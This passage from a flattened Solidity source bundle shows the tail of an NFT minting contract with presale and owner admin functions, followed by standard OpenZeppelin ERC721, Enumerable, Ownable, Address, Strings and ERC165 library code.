uint256 mintIndex = totalSupply() + 1;
_mint(_msgSender(), mintIndex);
}
}
function mint(uint256 quantity) external payable canMint {
require(quantity > 0 && quantity <= maxBatch, 'Quantity must be 0 < x <= maxBatch');
require((totalSupply() + quantity) <= maxApes, 'Not enough apes');
uint256 totalCost = quantity * price;
require(msg.value >= totalCost, 'Insufficient ETH');
payable(owner()).transfer(msg.value);
for (uint256 i = 0; i < quantity; i++) {
uint256 mintIndex = totalSupply() + 1;
_mint(_msgSender(), mintIndex);
}
}
function _baseURI() internal view override returns (string memory) {
return baseUri;
}
// Admin functions
function setBaseURI(string memory baseURI_) external onlyOwner {
baseUri = baseURI_;
}
function setPrice(uint256 price_) external onlyOwner {
price = price_;
}
function setSaleStart(uint256 saleStart_) external onlyOwner {
saleStart = saleStart_;
}
function setPresaleStart(uint256 presaleStart_) external onlyOwner {
presaleStart = presaleStart_;
}
function setPresaleAllowance(address addr, uint256 quantity) external onlyOwner {
presaleAllowance[addr] = quantity;
}
function setPresaleAllowanceBulk(address[] memory addrs, uint256 [] memory quantities) external onlyOwner {
for(uint256 i = 0; i < addrs.length; i++){
presaleAllowance[addrs[i]] = quantities[i];
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
